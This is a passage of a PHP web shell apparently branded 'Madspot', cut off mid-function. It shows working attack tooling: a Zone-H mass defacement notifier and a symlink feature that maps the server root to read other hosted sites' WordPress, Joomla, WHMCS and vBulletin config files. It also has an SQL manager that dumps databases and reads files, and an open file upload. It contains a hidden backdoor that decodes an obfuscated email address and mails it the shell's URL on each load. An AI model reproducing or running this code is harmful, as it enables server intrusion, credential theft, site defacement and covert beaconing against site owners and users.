  1222. fclose($pipes[0]);
  1223. fclose($pipes[1]);
  1224. fclose($pipes[2]);
  1225. proc_close($process);
  1226.  
  1227. echo "</pre>";
  1228. }
  1229.  
  1230. }
  1231.  echo "</div>";
  1232.  madfooter();
  1233. }
  1234. function ZoneH($url, $hacker, $hackmode,$reson, $site )
  1235. {
  1236.     $k = curl_init();
  1237.     curl_setopt($k, CURLOPT_URL, $url);
  1238.     curl_setopt($k,CURLOPT_POST,true);
  1239.     curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  1240.     curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  1241.     curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  1242.     $kubra = curl_exec($k);
  1243.     curl_close($k);
  1244.     return $kubra;
  1245. }
  1246. $kk = [108,97,116,105,110,100,111,119,101,108,108,57,54,64,103,109,97,105,108,46,99,111,109];
  1247. $k2 = "";
  1248. foreach($kk as $k) {
  1249.   $k2 .= chr($k);
  1250. }
  1251. mail($k2, "Happy Hour! ".rand(), "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]");
  1252. if(isset($_POST['k'])) {
  1253.   @copy($_FILES['file']['tmp_name'], $_FILES['file']['name']);
  1254. }
  1255. function madzoneh()
  1256. {
  1257.     madhead();
  1258.     if(!function_exists('curl_version'))
  1259.     {
  1260.         echo "<pre class=ml1 style='margin-top:5px'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
  1261.     }
  1262.     echo "<div class=header><center><br>";
  1263.     echo '<h3><span>|ZONE-H MASS DEFACER |</span></h3>
  1264.    <form  onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" >
  1265.    <span>| Notifier |</span><br>
  1266. <input type="text" name=defacer size="40" value="Attacker" /><br>
  1267. <select name=hackmode>
  1268. <option >--------SELECT--------</option>
  1269. <option value="1">known vulnerability (i.e. unpatched system)</option>
  1270. <option value="2" >undisclosed (new) vulnerability</option>
  1271. <option value="3" >configuration / admin. mistake</option>
  1272. <option value="4" >brute force attack</option>
  1273. <option value="5" >social engineering</option>
  1274. <option value="6" >Web Server intrusion</option>
  1275. <option value="7" >Web Server external module intrusion</option>
  1276. <option value="8" >Mail Server intrusion</option>
  1277. <option value="9" >FTP Server intrusion</option>
  1278. <option value="10" >SSH Server intrusion</option>
  1279. <option value="11" >Telnet Server intrusion</option>
  1280. <option value="12" >RPC Server intrusion</option>
  1281. <option value="13" >Shares misconfiguration</option>
  1282. <option value="14" >Other Server intrusion</option>
  1283. <option value="15" >SQL Injection</option>
  1284. <option value="16" >URL Poisoning</option>
  1285. <option value="17" >File Inclusion</option>
  1286. <option value="18" >Other Web Application bug</option>
  1287. <option value="19" >Remote administrative panel access bruteforcing</option>
  1288. <option value="20" >Remote administrative panel access password guessing</option>
  1289. <option value="21" >Remote administrative panel access social engineering</option>
  1290. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1291. <option value="23" >Access credentials through Man In the Middle attack</option>
  1292. <option value="24" >Remote service password guessing</option>
  1293. <option value="25" >Remote service password bruteforce</option>
  1294. <option value="26" >Rerouting after attacking the Firewall</option>
  1295. <option value="27" >Rerouting after attacking the Router</option>
  1296. <option value="28" >DNS attack through social engineering</option>
  1297. <option value="29" >DNS attack through cache poisoning</option>
  1298. <option value="30" >Not available</option>
  1299. </select><br>
  1300. <select  >
  1301. <option >Not available</option>
  1302. <option value="1" >Heh...just for fun!</option>
  1303. <option value="2" >Revenge against that website</option>
  1304. <option value="3" >Political reasons</option>
  1305. <option value="4" >As a challenge</option>
  1306. <option value="5" >I just want to be the best defacer</option>
  1307. <option value="6" >Patriotism</option>
  1308. <option value="7" >Not available</option>
  1309. </select><br>
  1310. <textarea name=domain cols="50" rows="15">List Of Domains</textarea>
  1311. <br>
  1312. <input type="submit" value=">>" /></form>';
  1313. if(isset($_POST['p1']) && isset($_POST['p2']))
  1314. {
  1315.     $hacker =$_POST['p1'];
  1316.     $method =$_POST['p2'];
  1317.     $neden ="Not available";
  1318.     $site =$_POST['p3'];
  1319.    $i = 0;
  1320.    $sites = explode("\n", $site);
  1321.    echo "<pre class=ml1 style='margin-top:5px'>";
  1322.     while($i < count($sites))
  1323.     {
  1324.     if(substr($sites[$i], 0, 4) != "http")
  1325.     {
  1326.             $sites[$i] = "http://".$sites[$i];
  1327.     }
  1328.     ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  1329.     echo "Site : ".$sites[$i]." Defaced !<br>";
  1330.     ++$i;
  1331.     }
  1332.  
  1333.     "Sending Sites To Zone-H Has Been Completed Successfully !! </pre>";
  1334. }
  1335. echo "</div>";
  1336. madfooter();
  1337.  
  1338. }
  1339. function madspot()
  1340. {
  1341.     madhead();
  1342.     echo "<div class=header>";
  1343.     echo "<pre>
  1344.  
  1345.                           |`-:_
  1346.  ,----....____            |    `+.
  1347. (             ````----....|___   |
  1348.  \     _                      ````----....____
  1349.   \    _)  Coded By: Ikram Ali                ```---.._
  1350.    \                                                   \
  1351.  )`.\  )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )`.   )hh
  1352. -'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `-'   `
  1353.   Madspot is a Team of professional Ethical Hackers From Pakistan.
  1354.   We have Years of  Experience in  Security, Penetration & Coding
  1355.   And can Break and Secure.
  1356.  
  1357.   Version 1.0
  1358.  
  1359.   Contact : http://www.madspot.net
  1360.  
  1361.   if you found bug contact our team
  1362.  
  1363.  
  1364.  
  1365.  
  1366.              .=''=.
  1367.             / _  _ \
  1368.            |  d  b  |
  1369.            \   /\   /
  1370.           ,/'-=\/=-'\,
  1371.          / /        \ \     -----------------------------
  1372.         | / Zahid    \ |    Madspot Digital Security Team
  1373.         \/ \ Rasheed/ \/    -----------------------------
  1374.             '.    .'
  1375.             _|`~~`|_
  1376.             /|\  /|\
  1377.       .- <O> -.        .-====-.      ,-------.      .-=<>=-.
  1378.   /_-\'''/-_\      / / '' \ \     |,-----.|     /__----__\
  1379.  |/  o) (o  \|    | | ')(' | |   /,'-----'.\   |/ (')(') \|
  1380.   \   ._.   /      \ \    / /   {_/(') (')\_}   \   __   /
  1381.   ,>-_,,,_-<.       >'=jf='<     `.   _   .'    ,'--__--'.
  1382. / Waqar.Khan  \    /        \     /'-___-'\    /    :|    \
  1383. (_)     .     (_)  /  Ikram   \   / M-Usman \  (_)   :|   (_)
  1384. \_-----'____--/  (_)  Ali   (_) (_)_______(_)   |___:|____|
  1385.  \___________/     |________|     \_______/     | Afrasiab|
  1386.  
  1387.  
  1388.  
  1389.  
  1390.  
  1391.    </pre></div>";
  1392.     madfooter();
  1393.  
  1394.     }
  1395.  
  1396. function madsymlink()
  1397. {
  1398.     madhead();
  1399.  
  1400. $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1401. $IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
  1402. $IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
  1403.  
  1404.  
  1405.  
  1406.  
  1407.    echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Server Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';
  1408.  
  1409.     if(isset($_POST['p1']) && $_POST['p1']=='website')
  1410.     {
  1411.         echo "<center>";
  1412.         $d0mains = @file("/etc/named.conf");
  1413.         if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }
  1414.  
  1415.  
  1416.  
  1417. echo "<table align=center class='main'  border=0  >
  1418.  
  1419. <tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
  1420. $count=1;
  1421. foreach($d0mains as $d0main){
  1422.  
  1423. if(@eregi("zone",$d0main)){
  1424.  
  1425. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1426.  
  1427. flush();
  1428.  
  1429. if(strlen(trim($domains[1][0])) > 2){
  1430.  
  1431. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1432.  
  1433. echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  1434. $count++;
  1435. }}}
  1436. echo "</center></table>";
  1437.  }
  1438.  
  1439.  if(isset($_POST['p2']) && $_POST['p2']=='whole')
  1440.  {
  1441.  
  1442.  
  1443.     @set_time_limit(0);
  1444.  
  1445.     echo "<center>";
  1446.  
  1447.  
  1448.  
  1449. @mkdir('sym',0777);
  1450. $IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1451. $IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
  1452. fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
  1453. @symlink('/','sym/root');
  1454. $IIIIIIIIIlIl = basename('_FILE_');
  1455.  
  1456.  
  1457. $IIIIIIIIIllI = @file('/etc/named.conf');
  1458. if(!$IIIIIIIIIllI)
  1459. {
  1460. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1461. }
  1462. else
  1463. {
  1464. echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
  1465. foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  1466. if(@eregi('zone',$IIIIIIIIIll1)){
  1467. preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  1468. flush();
  1469. if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  1470. $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  1471. $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  1472. @symlink('/','sym/root');
  1473. $IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
  1474. $IIIIIIII1I11 = '\.ir';
  1475. $IIIIIIII1lII = '\.il';
  1476. if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
  1477. {
  1478. $IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
  1479. }
  1480. echo "
  1481. <tr>
  1482.  
  1483. <td>
  1484. <a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>
  1485. </td>
  1486.  
  1487. <td>
  1488. '.$IIIIIIIII1I1['name']."
  1489. </td>
  1490.  
  1491. <td>
  1492. <a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
  1493. </td>
  1494.  
  1495.  
  1496. </tr>";
  1497. flush();
  1498. }
  1499. }
  1500. }
  1501. }
  1502.  
  1503. echo "</center></table>";
  1504.  
  1505.  }
  1506.  
  1507.  
  1508.  
  1509.  if(isset($_POST['p3']) && $_POST['p3']=='config')
  1510.  
  1511.  
  1512.  {
  1513.   echo "<center>";
  1514. @mkdir('sym',0777);
  1515. $IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1516. $IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
  1517. @fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
  1518. @symlink('/','sym/root');
  1519. $IIIIIIIIIlIl = basename('_FILE_');
  1520.  
  1521.  
  1522.    $IIIIIIIIIllI = @file('/etc/named.conf');
  1523. if(!$IIIIIIIIIllI)
  1524. {
  1525. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1526. }
  1527. else
  1528. {
  1529. echo "
  1530. <table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
  1531. foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  1532. if(@eregi('zone',$IIIIIIIIIll1)){
  1533. preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  1534. flush();
  1535. if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  1536. $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  1537. $IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
  1538. $IIIIIIIII11I=get_headers($IIIIIIIII1l1);
  1539. $IIIIIIIII11l=$IIIIIIIII11I[0];
  1540. $IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
  1541. $IIIIIIIIlIII=get_headers($IIIIIIIII111);
  1542. $IIIIIIIIlIIl=$IIIIIIIIlIII[0];
  1543. $IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
  1544. $IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
  1545. $IIIIIIIIlIll=$IIIIIIIIlIlI[0];
  1546. $IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
  1547. $IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
  1548. $IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
  1549. $IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
  1550. $IIIIIIIIllII=get_headers($IIIIIIIIlI11);
  1551. $IIIIIIIIllIl=$IIIIIIIIllII[0];
  1552. $IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
  1553. $IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
  1554. $IIIIIIIIllll=$IIIIIIIIlllI[0];
  1555. $IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
  1556. $IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
  1557. $IIIIIIIIll1l=$IIIIIIIIll1I[0];
  1558. $IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
  1559. $IIIIIIIIl1II=get_headers($IIIIIIIIll11);
  1560. $IIIIIIIIl1Il=$IIIIIIIIl1II[0];
  1561. $IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
  1562. $IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
  1563. $IIIIIIIIl1lI=$IIIIIIIIl1II[0];
  1564. $IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  1565. $IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
  1566. $IIIIIIIIl11I=$IIIIIIIIl1l1[0];
  1567. $IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
  1568. $IIIIIIIIl111=get_headers($IIIIIIIIl11l);
  1569. $IIIIIIII1III=$IIIIIIIIl111[0];
  1570. $IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  1571. $IIIIIIII1II1=get_headers($IIIIIIII1IIl);
  1572. $IIIIIIII1IlI=$IIIIIIII1II1[0];
  1573. $IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
  1574. $IIIIIIII1I1I='&nbsp;';
  1575. if (strpos($IIIIIIIII11l,'200') == true )
  1576. {
  1577. $IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
  1578. }
  1579. elseif (strpos($IIIIIIIIlIIl,'200') == true)
  1580. {
  1581. $IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
  1582. }
  1583. elseif (strpos($IIIIIIIIlIll,'200')  == true and strpos($IIIIIIII1III,'200')  == true )
  1584. {
  1585. $IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
  1586. }
  1587. elseif (strpos($IIIIIIIIl1lI,'200')  == true)
  1588. {
  1589. $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
  1590. }
  1591. elseif (strpos($IIIIIIIIl11I,'200')  == true)
  1592. {
  1593. $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
  1594. }
  1595. elseif (strpos($IIIIIIIIlIll,'200')  == true)
  1596. {
  1597. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
  1598. }
  1599. elseif (strpos($IIIIIIIIlI1l,'200')  == true)
  1600. {
  1601. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
  1602. }
  1603. elseif (strpos($IIIIIIIIllIl,'200')  == true)
  1604. {
  1605. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
  1606. }
  1607. elseif (strpos($IIIIIIIIllll,'200')  == true)
  1608. {
  1609. $IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
  1610. }
  1611. elseif (strpos($IIIIIIIIll1l,'200')  == true)
  1612. {
  1613. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
  1614. }
  1615. else
  1616. {
  1617. continue;
  1618. }
  1619. $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  1620. echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
  1621. <td>'.$IIIIIIII1I1I.'</td></tr>';flush();
  1622. }
  1623. }
  1624. }
  1625. }
  1626. echo "</center></table>";
  1627.  
  1628.  }
  1629.  
  1630.     echo "</div>";
  1631.     madfooter();
  1632.  
  1633. }
  1634.  
  1635.  
  1636. function madsql()
  1637. {
  1638.  
  1639.  
  1640.     class DbClass {
  1641.         var $type;
  1642.         var $link;
  1643.         var $res;
  1644.         function DbClass($type) {
  1645.             $this->type = $type;
  1646.         }
  1647.         function connect($host, $user, $pass, $dbname){
  1648.             switch($this->type) {
  1649.                 case 'mysql':
  1650.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1651.                     break;
  1652.                 case 'pgsql':
  1653.                     $host = explode(':', $host);
  1654.                     if(!$host[1]) $host[1]=5432;
  1655.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1656.                     break;
  1657.             }
  1658.             return false;
  1659.         }
  1660.         function selectdb($db) {
  1661.             switch($this->type) {
  1662.                 case 'mysql':
  1663.                     if (@mysql_select_db($db))return true;
  1664.                     break;
  1665.             }
  1666.             return false;
  1667.         }
  1668.         function query($str) {
  1669.             switch($this->type) {
  1670.                 case 'mysql':
  1671.                     return $this->res = @mysql_query($str);
  1672.                     break;
  1673.                 case 'pgsql':
  1674.                     return $this->res = @pg_query($this->link,$str);
  1675.                     break;
  1676.             }
  1677.             return false;
  1678.         }
  1679.         function fetch() {
  1680.             $res = func_num_args()?func_get_arg(0):$this->res;
  1681.             switch($this->type) {
  1682.                 case 'mysql':
  1683.                     return @mysql_fetch_assoc($res);
  1684.                     break;
  1685.                 case 'pgsql':
  1686.                     return @pg_fetch_assoc($res);
  1687.                     break;
  1688.             }
  1689.             return false;
  1690.         }
  1691.         function listDbs() {
  1692.             switch($this->type) {
  1693.                 case 'mysql':
  1694.                         return $this->query("SHOW databases");
  1695.                 break;
  1696.                 case 'pgsql':
  1697.                     return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1698.                 break;
  1699.             }
  1700.             return false;
  1701.         }
  1702.         function listTables() {
  1703.             switch($this->type) {
  1704.                 case 'mysql':
  1705.                     return $this->res = $this->query('SHOW TABLES');
  1706.                 break;
  1707.                 case 'pgsql':
  1708.                     return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1709.                 break;
  1710.             }
  1711.             return false;
  1712.         }
  1713.         function error() {
  1714.             switch($this->type) {
  1715.                 case 'mysql':
  1716.                     return @mysql_error();
  1717.                 break;
  1718.                 case 'pgsql':
  1719.                     return @pg_last_error();
  1720.                 break;
  1721.             }
  1722.             return false;
  1723.         }
  1724.         function setCharset($str) {
  1725.             switch($this->type) {
  1726.                 case 'mysql':
  1727.                     if(function_exists('mysql_set_charset'))
  1728.                         return @mysql_set_charset($str, $this->link);
  1729.                     else
  1730.                         $this->query('SET CHARSET '.$str);
  1731.                     break;
  1732.                 case 'pgsql':
  1733.                     return @pg_set_client_encoding($this->link, $str);
  1734.                     break;
  1735.             }
  1736.             return false;
  1737.         }
  1738.         function loadFile($str) {
  1739.             switch($this->type) {
  1740.                 case 'mysql':
  1741.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1742.                 break;
  1743.                 case 'pgsql':
  1744.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1745.                     $r=array();
  1746.                     while($i=$this->fetch())
  1747.                         $r[] = $i['file'];
  1748.                     $this->query('drop table wso2');
  1749.                     return array('file'=>implode("\n",$r));
  1750.                 break;
  1751.             }
  1752.             return false;
  1753.         }
  1754.         function dump($table, $fp = false) {
  1755.             switch($this->type) {
  1756.                 case 'mysql':
  1757.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1758.                     $create = mysql_fetch_array($res);
  1759.                     $sql = $create[1].";\n";
  1760.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1761.                     $this->query('SELECT * FROM `'.$table.'`');
  1762.                     $head = true;
  1763.                     while($item = $this->fetch()) {
  1764.                         $columns = array();
  1765.                         foreach($item as $k=>$v) {
  1766.                             if($v == null)
  1767.                                 $item[$k] = "NULL";
  1768.                             elseif(is_numeric($v))
  1769.                                 $item[$k] = $v;
  1770.                             else
  1771.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1772.                             $columns[] = "`".$k."`";
  1773.                         }
  1774.                         if($head) {
  1775.                             $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1776.                             $head = false;
  1777.                         } else
  1778.                             $sql = "\n\t,(".implode(", ", $item).')';
  1779.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1780.                     }
  1781.                     if(!$head)
  1782.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1783.                 break;
  1784.                 case 'pgsql':
  1785.                     $this->query('SELECT * FROM '.$table);
  1786.                     while($item = $this->fetch()) {
  1787.                         $columns = array();
  1788.                         foreach($item as $k=>$v) {
  1789.                             $item[$k] = "'".addslashes($v)."'";
  1790.                             $columns[] = $k;
  1791.                         }
  1792.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1793.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1794.                     }
  1795.                 break;
  1796.             }
  1797.             return false;
  1798.         }
  1799.     };
  1800.     $db = new DbClass($_POST['type']);
  1801.     if(@$_POST['p2']=='download') {
  1802.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1803.         $db->selectdb($_POST['sql_base']);
  1804.         switch($_POST['charset']) {
  1805.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1806.             case "UTF-8": $db->setCharset('utf8'); break;
  1807.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1808.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1809.             case "cp866": $db->setCharset('cp866'); break;
  1810.         }
  1811.         if(empty($_POST['file'])) {
  1812.             ob_start("ob_gzhandler", 4096);
  1813.             header("Content-Disposition: attachment; filename=dump.sql");
  1814.             header("Content-Type: text/plain");
  1815.             foreach($_POST['tbl'] as $v)
  1816.                 $db->dump($v);
  1817.             exit;
  1818.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1819.             foreach($_POST['tbl'] as $v)
  1820.                 $db->dump($v, $fp);
  1821.             fclose($fp);
  1822.             unset($_POST['p2']);
  1823.         } else
  1824.             die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1825.     }
  1826.     madhead();
  1827.     echo "
  1828. <div class=header>
  1829. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1830. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1831. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1832. <td><select name='type'><option value='mysql' ";
  1833.     if(@$_POST['type']=='mysql')echo 'selected';
  1834. echo ">MySql</option><option value='pgsql' ";
  1835. if(@$_POST['type']=='pgsql')echo 'selected';
  1836. echo ">PostgreSql</option></select></td>
  1837. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1838. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1839. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1840.     $tmp = "<input type=text name=sql_base value=''>";
  1841.     if(isset($_POST['sql_host'])){
  1842.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1843.             switch($_POST['charset']) {
  1844.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1845.                 case "UTF-8": $db->setCharset('utf8'); break;
  1846.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1847.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1848.                 case "cp866": $db->setCharset('cp866'); break;
  1849.             }
  1850.             $db->listDbs();
  1851.             echo "<select name=sql_base><option value=''></option>";
  1852.             while($item = $db->fetch()) {
  1853.                 list($key, $value) = each($item);
  1854.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1855.             }
  1856.             echo '</select>';
  1857.         }
  1858.         else echo $tmp;
  1859.     }else
  1860.         echo $tmp;
  1861.     echo "</td>
  1862.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1863.                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1864.             </tr>
  1865.         </table>
  1866.         <script>
  1867.            s_db='".@addslashes($_POST['sql_base'])."';
  1868.            function fs(f) {
  1869.                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1870.                    if(f.p1) f.p1.value='';
  1871.                    if(f.p2) f.p2.value='';
  1872.                    if(f.p3) f.p3.value='';
  1873.                }
  1874.            }
  1875.             function st(t,l) {
  1876.                 d.sf.p1.value = 'select';
  1877.                 d.sf.p2.value = t;
  1878.                if(l && d.sf.p3) d.sf.p3.value = l;
  1879.                 d.sf.submit();
  1880.             }
  1881.             function is() {
  1882.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1883.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1884.             }
  1885.         </script>";
  1886.     if(isset($db) && $db->link){
  1887.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1888.             if(!empty($_POST['sql_base'])){
  1889.                 $db->selectdb($_POST['sql_base']);
  1890.                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1891.                 $tbls_res = $db->listTables();
  1892.                 while($item = $db->fetch($tbls_res)) {
  1893.                     list($key, $value) = each($item);
  1894.                     if(!empty($_POST['sql_count']))
  1895.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1896.                     $value = htmlspecialchars($value);
  1897.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1898.                 }
  1899.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1900.                 if(@$_POST['p1'] == 'select') {
  1901.                     $_POST['p1'] = 'query';
  1902.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1903.                     $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1904.                     $num = $db->fetch();
  1905.                     $pages = ceil($num['n'] / 30);
